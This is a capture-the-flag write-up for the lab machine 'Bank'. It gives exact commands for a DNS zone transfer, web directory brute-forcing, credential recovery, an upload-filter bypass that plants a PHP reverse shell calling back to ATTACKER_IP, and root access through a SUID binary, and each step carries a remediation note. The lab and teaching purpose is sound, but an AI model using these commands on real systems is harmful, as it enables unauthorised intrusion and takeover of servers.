Bank
Summary
I exploited a misconfigured DNS server to dump the full zone for bank.htb, revealing all virtual hostnames. Web directory listing then exposed hundreds of account-record files, and one file — whose encryption routine had silently failed — contained a plaintext username and password. After logging in, I discovered (via an HTML comment left by a developer) that the file-upload filter could be bypassed using a .htb extension, which the server executes as PHP.
Uploading a PHP reverse shell and triggering it returned a foothold as the web-server account. A non-standard SUID-root binary installed by administrators as an emergency back-door then granted an instant root shell with no additional authentication.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for chris>"Some commands also carry a value in angle brackets — <the-smallest-file-from-the-ranking> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Request full zone transfer; reveals all DNS records including vhosts and the SOA contact that hints at username 'chris'.
$ dig axfr bank.htb @$TARGET +noall +answerMap the discovered virtual hostnames to the target IP before proceeding to web enumeration.
$ echo "$TARGET bank.htb www.bank.htb" | sudo tee -a /etc/hostsFixRestrict DNS zone transfers to authorised secondary name-servers onlyMedium
Exact commands 3
The login page is not the application. This is what finds the directory nobody linked to.
$ ffuf -u http://bank.htb/FUZZ -H 'Host: bank.htb' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302Every record the index names. Several hundred of them, each a hash.
$ curl -s http://bank.htb/balance-transfer/ | grep -oE '[0-9a-f]{32}\.acc' | sort -u > accs.txt && wc -l < accs.txtA HEAD request each, ranked by length. The outlier at the top is the file whose encryption did not happen.
$ while read -r f; do printf '%s %s\n' "$(curl -sI http://bank.htb/balance-transfer/$f | awk -F': ' 'tolower($1)=="content-length"{print $2+0}')" "$f"; done < accs.txt | sort -n | head -5FixDisable Apache directory listing on all web directoriesHigh
Exact commands 1
The header reads --ERR ENCRYPT FAILED, and the account's email and password are plain text beneath it.
$ curl -s http://bank.htb/balance-transfer/<the-smallest-file-from-the-ranking>FixHandle encryption failures safely and never store credentials in plaintextCritical
Exact commands 1
--data-urlencode rather than a hand-encoded body: the recovered password is full of characters a URL and a shell both want to read themselves. A 200 after the redirect is the session.
$ curl -s -c cookies.txt -b cookies.txt http://bank.htb/login.php --data-urlencode 'email=chris@bank.htb' --data-urlencode "password=$PASSWORD" -L -o /dev/null -w '%{http_code}\n'Exact commands 3
Read the developer HTML comment that explicitly names the .htb bypass.
$ curl -s -b cookies.txt http://bank.htb/support.php | grep -i 'htb\|debug\|extension'Create the PHP reverse-shell payload as shell.htb, substituting your tun0 IP and chosen listener port.
$ cp /usr/share/webshells/php/php-reverse-shell.php shell.htb && sed -i "s/127.0.0.1/$ATTACKER_IP/" shell.htb && sed -i 's/1234/4444/' shell.htbUpload shell.htb as a ticket attachment; note the filename/path of the uploaded file from the response for the next step.
$ curl -s -b cookies.txt -F 'title=x' -F 'message=x' -F 'fileToUpload=@shell.htb;filename=shell.htb;type=application/octet-stream' -F 'submitadd=Submit' http://bank.htb/support.phpFixEnforce a strict whitelist for uploaded file extensions and disable PHP execution in upload directoriesCritical
Exact commands 4
On my own machine, before the request below is sent.
$ nc -lvnp 4444From my machine. The request is what executes the file; the shell arrives at the listener.
$ curl -s -b cookies.txt 'http://bank.htb/uploads/shell.htb'In the callback shell. Uid=33(www-data) — the web server's account, not a login of its own.
$ id; whoami; hostnameIn the callback shell -> <user.txt>
$ find / -name user.txt -type f 2>/dev/null -print -exec cat {} \;Exact commands 3
In the callback shell. Enumerate all SUID binaries system-wide; /var/htb/bin/emergency is immediately recognisable as non-standard.
$ find / -perm -4000 -type f 2>/dev/nullIn the callback shell. Confirm it is owned by root and has the SUID bit: -rwsr-xr-x root root.
$ ls -la /var/htb/bin/emergencyIn the callback shell. Pipe commands into the binary; it executes them as root and returns the root flag: <root.txt>
$ printf 'id\ncat /root/root.txt\nexit\n' | /var/htb/bin/emergency
uid=0(root) euid=0(root)FixRemove the SUID-root emergency binary and audit all SUID permissionsCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) |
| 53/tcp | domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux) |
| 80/tcp | http Apache httpd 2.4.7 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.